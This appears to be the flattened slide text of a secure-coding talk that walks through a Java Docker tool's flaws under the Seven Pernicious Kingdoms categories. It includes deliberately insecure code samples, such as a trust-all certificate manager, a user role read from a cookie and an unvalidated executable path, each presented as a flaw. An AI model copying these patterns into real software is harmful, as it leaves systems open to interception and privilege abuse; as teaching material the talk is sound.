  • 29. Input Validation and Representation Forms Input. Browser javascript code validates the form Send the data to the server over a websocket as JSON. Server turns JSON into Java object assuming it’s a valid PlimsollCommand object public class PlimsollCommand { public String type; public Object msg; } Pretty obviously you cannot ever trust what a client sends you. Ever. What would happen if the JSON data was actually a list?
  • 30. • Input from an end point is an obvious place to be cautious • Think of it like this… • Every API you write. Whether REST interface or a simple class defines a ‘contract’ with the caller. • If that contract is not explicit and enforced your code is vulnerable. • And it’s even more subtle than that… Input Validation and Representation “It is the callers responsibility”
  • 31. Browser Server Docker Daemon Remote repositories Local repositories WS Cmd line http Input Validation and Representation Adopt Server http My tool uses the docker command line interface to retrieve information and run containers “docker images” “docker run –it ubuntu /bin/bash”
  • 32. Input Validation and Representation public classDockerCommandLineDriver{ privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker"; privateStringdocker; privatebooleanerror; privateFileoutputFile; privateListresults=newLinkedList(); staticenumCMD{ active,images,containers }; privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"}; public DockerCommandLineDriver(){ this(DEFAULT_EXEC); } public DockerCommandLineDriver(Stringdriver){ docker= driver; outputFile= newFile("/tmp/docker.out"); }
  • 33. Input Validation and Representation public classDockerCommandLineDriver{ privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker"; privateStringdocker; privatebooleanerror; privateFileoutputFile; privateListresults=newLinkedList(); staticenumCMD{ active,images,containers }; privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"}; public DockerCommandLineDriver(){ this(DEFAULT_EXEC); } public DockerCommandLineDriver(Stringdriver){ docker= driver; outputFile= newFile("/tmp/docker.out"); } DockerCommandLineDrivercld = newDockerCommandLineDriver(); … Listl= cld.run(CMD.active); if(cld.hasError()==false){ System.out.println(l); }
  • 34. Input Validation and Representation DockerCommandLineDrivercld = newDockerCommandLineDriver(); … Listl= cld.run(CMD.active); if(cld.hasError()==false){ System.out.println(l); } public Listrun(CMDcmd) { Stringcmdline =cmds[cmd.ordinal()]; cmdline =docker +""+cmdline; String[]parts=cmdline.split(" "); ProcessBuilder pb=new ProcessBuilder(parts); pb.redirectErrorStream(true); pb.redirectOutput(ProcessBuilder.Redirect.to(outputFile)); try{ Process p=pb.start(); intresult =p.waitFor(); error=result !=0; } catch (IOException | InterruptedException e) { error=true; } return saveResults(); }
  • 35. What’s wrong with this code? public classDockerCommandLineDriver{ privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker"; privateStringdocker; privatebooleanerror; privateFileoutputFile; privateListresults=newLinkedList(); staticenumCMD{ active,images,containers }; privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"}; public DockerCommandLineDriver(){ this(DEFAULT_EXEC); } public DockerCommandLineDriver(Stringdriver){ docker= driver; outputFile= newFile("/tmp/docker.out"); } Input Validation and Representation
  • 36. This field is never validated. • Does it really point to a docker executable? • What would happen if it was set to some • other executable? • Could simply run a version check on it! public classDockerCommandLineDriver{ privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker"; privateStringdocker; privatebooleanerror; privateFileoutputFile; privateListresults=newLinkedList(); staticenumCMD{ active,images,containers }; privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"}; public DockerCommandLineDriver(){ this(DEFAULT_EXEC); } public DockerCommandLineDriver(Stringdriver){ docker= driver; outputFile= newFile("/tmp/docker.out"); } “docker –version” Input Validation and Representation
  • 37. Even if the field was validated during construction it can still be changed afterwards. Relying on constructor validation only is also poor practise. public classDockerCommandLineDriver{ privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker"; privateStringdocker; privatebooleanerror; privateFileoutputFile; privateListresults=newLinkedList(); staticenumCMD{ active,images,containers }; privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"}; public DockerCommandLineDriver(){ this(DEFAULT_EXEC); } public DockerCommandLineDriver(Stringdriver){ docker= driver; outputFile= newFile("/tmp/docker.out"); } (Re)validate just before usage Input Validation and Representation
  • 38. What about this field? Set to “/tmp/docker.out” ? public classDockerCommandLineDriver{ privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker"; privateStringdocker; privatebooleanerror; privateFileoutputFile; privateListresults=newLinkedList(); staticenumCMD{ active,images,containers }; privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"}; public DockerCommandLineDriver(){ this(DEFAULT_EXEC); } public DockerCommandLineDriver(Stringdriver){ docker= driver; outputFile= newFile("/tmp/docker.out"); } Input Validation and Representation
  • 39. With serialisation vulnerabilities I may be able to get the code to overwrite a critical file somewhere else. If I modify both the exe and file fields I can control what data gets written to your system Remember constructors are not called during deserialization. The data is simply inserted. public classDockerCommandLineDriver{ privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker"; privateStringdocker; privatebooleanerror; privateFileoutputFile; privateListresults=newLinkedList(); staticenumCMD{ active,images,containers }; privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"}; public DockerCommandLineDriver(){ this(DEFAULT_EXEC); } public DockerCommandLineDriver(Stringdriver){ docker= driver; outputFile= newFile("/tmp/docker.out"); } Input Validation and Representation
  • 40. #1: all data received must be considered untrusted and potentially dangerous. • Data means anything that comes in – command lines, env variables, sockets, GUI, REST , even data coming from your own server… • You must never trust the systems who send you data. • You can almost never trust the systems you retrieve data from • You must validate data when you get it AND before you use it Input Validation and Representation
  • 41. Using an API in a manner contrary to its intended use API Abuse
  • 42. API Abuse My tool tags all the containers it creates with “adoptopenjdk=true” That makes it easier to retrieve only the relevant containers when talking to docker. I have a test to check I can create such containers @Test voidtestCreatedContainerHasPlimsollLabel() { Plimsoll p=new Plimsoll(); Stringid =p.docker.createSimpleContainer(TEST_IMAGE_NAME); ContainerInfo ci=p.docker.inspectContainer(id); assertNotNull(ci); assertTrue(ci.config().labels().containsKey(DockerController.LABEL_ID)); assertTrue(p.docker.removeContainer(id)); }
  • 43. API Abuse But I want to make sure that the calls to docker are really working. So I have a ‘get all’ method. It’s not used in production But its exposed as a test end point… @Test voidtestAllContainersListHasEntries() { Plimsoll p=new Plimsoll(); Stringid =p.docker.createSimpleContainer(TEST_IMAGE_NAME); assertNotNull(id); List<Container> allc =p.docker.allContainerList(); assertTrue(allc.isEmpty()==false); assertTrue(p.docker.removeContainer(id)); } get("/test/v1/*" , (req, res) ->plimsoll.test_v1_request.handleRequest(req,res));
  • 44. API Abuse A common vulnerability pattern is to find hidden end points like ones just for testing. Reading the code on github or just Googling for your sites metadata can easily reveal them And of course test end points tend to have less security  Never have APIs that are just for ‘testing’ or bypass normal authentication processes..
  • 45. API Abuse My tool allows for complex scenarios to be created. JVM = Hotspot or OpenJ9 App Server = Tomcat or Jetty Various versions strings. The combinations are sent one by one… JVM=Hotspot, AppServer=Tomcat, AppVersion=9.0
  • 46. API Abuse The code validates the entries as being individually correct..  JVM=Hotspot  AppServer=Tomcat  AppVersion=9.4.9 But not that the combinations are valid!
  • 47. API Abuse My code also returns lists of containers so there are page / page size type parameters.. “list containers from page 7 with page size 100” “list containers from page 1 with page size 10”
  • 48. API Abuse My code also returns lists of containers so there are page / page size type parameters.. “list containers from page 7 with page size 100” “list containers from page 1 with page size 10” What about.. “list containers from page 0 with page size -100” “list containers from page -1 with page size 10” “list containers from page MAX_INT with page size -MAX_INT”
  • 50. #2 Never give control to the caller by accepting unconstrained instructions • Calling endpoints that are hidden • Finding hidden fields in your requests and changing them • Sending unexpected but pseudo-valid combinations of data • Exploring the data ranges (+ and - ) • Using an API out of context. (like credit card validation) • Exploiting query languages (SQL injection plus. JQ, or Xpath etc) • most systems assume any call to it is correct and do minimal validation once the individual elements are accepted. API Abuse
  • 51. Errors Errors related to error handling
  • 52. Errors private Properties loadConfig() { Propertiesp= newProperties(System.getProperties()); File f=new File("plimsoll.properties"); if(f.exists()) { FileReader fr; try{ fr=new FileReader(f); p.load(fr); fr.close(); } catch (IOException e) { } return p; } Some code – reads a config file…
  • 53. Errors private Properties loadConfig() { Propertiesp= newProperties(System.getProperties()); File f=new File("plimsoll.properties"); if(f.exists()) { FileReader fr; try{ fr=new FileReader(f); p.load(fr); fr.close(); } catch (IOException e) { } return p; } Don’t assuming that only the errors you expect will occur - such as FileNotFoundException
  • 54. Errors private Properties loadConfig() { Propertiesp= newProperties(System.getProperties()); File f=new File("plimsoll.properties"); if(f.exists()) { FileReader fr; try{ fr=new FileReader(f); p.load(fr); fr.close(); } catch (FileNotFoundException e) { // allowed } catch (IOException e) { // not expected } return p; } Better!
  • 55. Errors Catching or throwing exceptions in a more generic manner than needed can hide the activities of the attacker Either because of a lack of specific info in logging and log analysis i.e: “Config file not found”. Vs “Unexpected IO Error reading the config file” Or simply because the unusual exception is treated as usual
  • 56. Errors Catching or throwing exceptions in a more generic manner than needed can hide the activities of the attacker Either because of a lack of specific info in logging and log analysis i.e: “Config file not found”. Vs “Unexpected IO Error reading the config file” Or simply because the unusual exception is treated as usual BTW - catching NullPointer Exceptions as a way of detecting ‘expected’ nulls is also poor practice – as described above. You simply can’t tell which NPE is which.
  • 57. Errors Being to helpful can also be a problem. public IHandlerloadHandler(String datatype) throws IOException { StringclassName=handlers.get(datatype); Class<IHandler> handlerClass; try{ handlerClass = (Class<IHandler>) Class.forName(className); return handlerClass.newInstance(); }catch (Exception e) { throw new IOException("handler for type "+datatype+" of class "+className+" cannot beloaded"); } }
  • 58. Errors What happens at runtime? public IHandlerloadHandler(String datatype) throws IOException { StringclassName=handlers.get(datatype); Class<IHandler> handlerClass; try{ handlerClass = (Class<IHandler>) Class.forName(className); return handlerClass.newInstance(); }catch (Exception e) { throw new IOException("handler for type "+datatype+" of class "+className+" cannot beloaded"); } } try { IHandlerh=loadHandler("foo.data"); … } catch (IOException e) { System.out.println(e.getMessage()); }
  • 59. Errors What errors might happen? public IHandlerloadHandler(String datatype) throws IOException { StringclassName=handlers.get(datatype); Class<IHandler> handlerClass; try{ handlerClass = (Class<IHandler>) Class.forName(className); return handlerClass.newInstance(); }catch (Exception e) { throw new IOException("handler for type "+datatype+" of class "+className+" cannot beloaded"); } } try { IHandlerh=loadHandler("foo.data"); … } catch (IOException e) { System.out.println(e.getMessage()); }
  • 60. Errors public IHandlerloadHandler(String datatype) throws IOException { StringclassName=handlers.get(datatype); Class<IHandler> handlerClass; try{ handlerClass = (Class<IHandler>) Class.forName(className); return handlerClass.newInstance(); }catch (Exception e) { throw new IOException("handler for type "+datatype+" of class "+className+" cannot beloaded"); } } try { IHandlerh=loadHandler("foo.data"); … } catch (IOException e) { System.out.println(e.getMessage()); } Handler for type foo.data of class null cannot be loaded Handler for type foo.data of class com.acme.handler cannot be loaded What errors might happen?
  • 61. Errors public IHandlerloadHandler(String datatype) throws IOException { StringclassName=handlers.get(datatype); Class<IHandler> handlerClass; try{ handlerClass = (Class<IHandler>) Class.forName(className); return handlerClass.newInstance(); }catch (Exception e) { throw new IOException("handler for type "+datatype+" of class "+className+" cannot beloaded"); } } try { IHandlerh=loadHandler("java.ext.dirs"); … } catch (IOException e) { System.out.println(e.getMessage()); } Handler for type java.ext.dirs of class /Users/spoole/Library/Java/Extensions: /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/ Home/jre/lib/ext: /Library/Java/Extensions:/Network/Library/Java/Extensions: /System/Library/Java/Extensions: /usr/lib/java cannot be loaded What errors might happen? Quite often ‘handlers’ will be a Properties object.backed by System.getProperties so you can use –D on the command line
  • 62. Errors Driving code down error paths is a profitable exercise for the attacker. Many Remote Code Execution vulnerabilities occur due to code execution during object instantiation etc – even if subsequently failing a class cast or similar Correct error management is the flipside of correct validation
  • 63. #3 Error paths are as critical as normal flows #4 Report only enough information to identify the situation • In general we’re poor at dealing with errors in our code. • Developers focus on the positive side. • With consequential lack of testing for error paths and checking correct behavior Errors
  • 64. Security Features Authentication, access control, confidentiality, cryptography, privilege management.
  • 65. Security Features “I don’t need any security as the system is local…” “I’ll add security later” “I’m not sure what security means”
  • 66. Security Features Many vulnerabilities come from poor authentication and access control methods but ‘Security’ is a wider topic. Confidentiality : Managing the data in your care Cryptography : methods to ensure information is kept private Privilege management: Ensuring actors are who they say they are
  • 67. “I don’t need any security as the system is local…” Security Features Browser Server Docker Daemon Remote repositories Local repositories WS Cmd line http Adopt Server http
  • 68. “I don’t need any security as the system is local…” Security Features Browser Server Docker Daemon Remote repositories Local repositories WS Cmd line http Adopt Server http The browser is vulnerable to Cross Site Scripting attacks. So a remote attacker could get on to your system
  • 69. “I don’t need any security as the system is local…” Security Features Browser Server Docker Daemon Remote repositories Local repositories WS Cmd line http Adopt Server http Since my tool uses an API that is unconstrained (ie the command line). The attacker could do anything And the tool is downloading and running code from the web – another attack point
  • 70. “I don’t need any security as the system is local…” Security Features Browser Server Docker Daemon Remote repositories Local repositories WS Cmd line http Adopt Server http The docker instance may have access to a secure repository. Without security my tool is enabling an easy bypass of any access controls. The contents of the server are now available for a hacker to explore or use.
  • 71. “I don’t need any security as the system is local…” Security Features Browser Server Docker Daemon Remote repositories Local repositories WS Cmd line http Adopt Server http So actually my tool needs really good security features.
  • 72. Security Features A few examples of vulnerable designs
  • 73. Security Features Trusting the end user not to tamper with the data Cookie[] cookies = request.getCookies(); for (int i =0; i< cookies.length; i++) { Cookie c = cookies[i]; if (c.getName().equals("role")) { userRole = c.getValue(); } }
  • 74. Security Features Trusting the end user not to tamper with the data Cookie[] cookies = request.getCookies(); for (int i =0; i< cookies.length; i++) { Cookie c = cookies[i]; if (c.getName().equals("role")) { userRole = c.getValue(); } } Does encryption solve this?
  • 75. Security Features Trusting the end user not to tamper with the data Cookie[] cookies = request.getCookies(); for (int i =0; i< cookies.length; i++) { Cookie c = cookies[i]; if (c.getName().equals("role")) { userRole = c.getValue(); } } No! XSS attacks often replace encrypted cookies etc with ones from another session that has the required privileges. You must have additional privilege management processes in play
  • 76. Security Features My code has a endpoint that allows the client to read the config get: ”/api/v1/config/<key_name>”. Returns json : { “key”: key_name , “value” : value } public StringgetConfigValue(String key) { return config.getProperty(key); } private Properties loadConfig() { Properties p=new Properties( System.getProperties() ); .. Poor confidentiality management
  • 77. Security Features My code has a endpoint that allows the client to read the config get: ”/api/v1/config/<key_name>”. Returns json : { “key”: key_name , “value” : value } public StringgetConfigValue(String key) { return config.getProperty(key); } private Properties loadConfig() { Properties p=new Properties( System.getProperties() ); .. Poor confidentiality management Since the config was backed by System.getProperties all my system properties are exposed..
  • 78. private Properties loadConfig() { Properties p=new Properties( System.getProperties() ); File f =new File("plimsoll.properties"); if(f.exists()) { FileReader fr; try { fr=new FileReader(f); p.load(fr); fr.close(); } catch (IOException e) { } return p; } Security Features Unsophisticated credentials management -Ddocker.user=foo -Ddocker.password=bar. Storing information In text files. Easily readable. Easily changed on the command line. (turns up in the logs)
  • 79. Security Features Unsophisticated credentials management That end up in your git repo… Q: Can you easily remove password data from your repo once committed?
  • 80. Security Features Unsophisticated credentials management That end up in your git repo… A: these people seem to think so..
  • 81. TrustManager[] trustAllCerts = new TrustManager[]{ new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null; } public void checkClientTrusted( X509Certificate[] certs, String authType) { } public void checkServerTrusted( X509Certificate[] certs, String authType) { } public boolean isClientTrusted( X509Certificate[] cert) { return true; } public boolean isServerTrusted( X509Certificate[] cert) { return true; } }} Security Features Deliberate weakening of security protocols
  • 82. Security Features Defaulting to full access or running too much under privilege method() { AccessController.doPrivileged( new PrivilegedAction()) { public Object run() { // my app goes here } }; }
  • 83. #5 Access controls as near to business logic as possible #6 Keep credentials encrypted, safe and out of memory #7 Fail safely #8 Know your responsibilities for others • For many the word ‘security’ is content free. Its all someone elses problem. • It’s not – every system needs to understand its security posture. • Where do you check access control? • Where and do you store credentials? • Will you default to a safe mode or an ‘all access pass mode’ ? • BTW - How much code gets run before you say no? Security Features
  • 84. This is straightforward If your system is too complex to understand Or just poorly written. It’s more likely to have edge cases, weak spots etc So more open to being attacked Code Quality #9 Keep it simple # 10 Have a full test suite # 11 test for failing conditions: even security related Poor code quality leading to unpredictable behaviour and opportunities to stress the system in unexpected ways
  • 85. Using the command line version of docker (when I could use the REST API) Having a selection process for items with a specific tag. (Exposes all the docker data if hacked) Insecure API to read config Encapsulation Insufficient encapsulation of critical data or functionality Errors that allow functionality or data to cross trust boundaries Escalation of data access privileges Insecure import of untrusted code Exposure of information through unprotected resources #12 use and immutable state where at all possible #13 Do not give away extraneous data #14 Only hold the least amount of critical data – and throw it away Soon as possible #15 Reduce functionality to just the usecases needed. No nice-to-haves !
  • 86. #16 control of state never leaves your system • Client can send you requests to change state but it must never own the state. Time and State Unexpected interactions between threads, processes, time, and information (shared state) people put state into a cookie and assume it cant be modified if encrypted.. What happens if someone sends you an encrypted state object from another session… Did you have a flag in the state that said the user had higher privileges.?
  • 87. • All the parts of your development process • The tools you use • Your dependencies • The operating system • The build machines. • The code repository • All these can be vulnerable to attack. Environment
  • 88. Authentication, access control, confidentiality, cryptography, privilege management. Unexpected interactions between threads, processes, time, and information (shared state) Errors related to error handling Problems caused by metacharacters, alternate encodings and numeric representations. General security problems result from trusting input. Using an API in a manner contrary to its intended use Insufficient encapsulation of critical data or functionality Everything that is outside of the source code but is still critical to the security of the application Time and State Poor code quality leading to unpredictable behaviour and opportunities to stress the system in unexpected ways. Errors API abuse Code Quality Security Features Encapsulation Input Validation and Representation Environment
  • 89. Phew. • So many things ways your application can be vulnerable. • Security is not something you add after. It’s always a part of your design thinking.
  • 90. Helping you to be more informed
  • 92.
  • 93. 1. Input Validation and Representation 2. API Abuse 3. Security Features 4. Time and State 5. Error Handling 6. Code Quality 7. Encapsulation * Environment The Seven Pernicious Kingdoms
  • 97. Secure by Design - Security Design Principles for the Rest of Us https://www.slideshare.net/EoinWoods1/secure-by-design-security-design-principles- for-the-rest-of-us Online Guides
  • 100. Keeping safe: it’s in your hands @spoole167
  • 101. Summary Keep current. Every vulnerability fix you apply is one less way in. Learn about secure coding - https://cwe.mitre.org Compartmentalize. Separate data, code, access controls etc. Just like bulkhead doors in a ship: ensure one compromise doesn’t sink your boat. Design for intrusion. Review you levels of ‘helpfulness’ and flexibility and learn about Penetration Testing Learn about security tools & services - IBM App Scan, lgtm.com Understand that making your development life easier makes the hackers job easier
  • 102. There are bad guys out there and your application is at risk Don’t make it worse by ignoring the problem https://www.flickr.com/photos/koolmann/ @spoole167
  • 104. Thank you for being my Meerschweinchen